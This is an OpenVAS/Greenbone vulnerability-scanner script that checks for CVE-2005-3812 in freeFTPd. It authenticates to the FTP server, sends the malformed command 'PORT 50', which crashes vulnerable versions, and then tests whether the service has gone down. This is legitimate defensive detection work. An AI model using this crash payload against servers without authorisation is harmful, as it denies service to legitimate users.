freeFTPD PORT Command Denial of Service Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802913");
  script_version("2023-12-20T05:05:58+0000");
  script_cve_id("CVE-2005-3812");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:N/I:N/A:C");
  script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
  script_tag(name:"creation_date", value:"2012-07-13 14:06:29 +0530 (Fri, 13 Jul 2012)");
  script_name("freeFTPD PORT Command Denial of Service Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/free_ftpd/detected");

  script_xref(name:"URL", value:"http://secunia.com/advisories/17737");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/15557");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/1339/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/417602");

  script_tag(name:"impact", value:"Successful exploitation allows remote attackers to crash an affected server,
  effectively denying service to legitimate users.");

  script_tag(name:"affected", value:"freeFTPd version 1.0.10 and prior.");

  script_tag(name:"insight", value:"A NULL pointer dereferencing error exists when parsing the parameter of the
  PORT command. Logged on user can send a port command appended with some numbers to crash the server.");

  script_tag(name:"solution", value:"Upgrade to freeFTPd version 1.0.11 or later.");

  script_tag(name:"summary", value:"FreeFTPD Server is prone to a denial of service (DoS) vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

ftpPort = ftp_get_port(default:21);
banner = ftp_get_banner(port:ftpPort);
if(!banner || "I'm freeFTPd" >!< banner){
  exit(0);
}

soc = open_sock_tcp(ftpPort);
if(!soc){
  exit(0);
}

banner = ftp_recv_line(socket:soc);
if(!banner || "I'm freeFTPd" >!< banner){
  ftp_close(socket:soc);
  exit(0);
}

kb_creds = ftp_get_kb_creds();
user = kb_creds["login"];
pass = kb_creds["pass"];

login_details = ftp_authenticate(socket:soc, user:user, pass:pass);
if(!login_details)
{
  ftp_close(socket:soc);
  exit(0);
}

data = "PORT 50";

ftp_send_cmd(socket:soc, cmd:data);
ftp_close(socket:soc);

soc2 = open_sock_tcp(ftpPort);
if(!soc2)
{
  security_message(port:ftpPort);
  exit(0);
}

banner = recv(socket:soc2, length:512);
if(!banner || "I'm freeFTPd" >!< banner)
{
  ftp_close(socket:soc2);
  security_message(port:ftpPort);
  exit(0);
}
ftp_close(socket:soc2);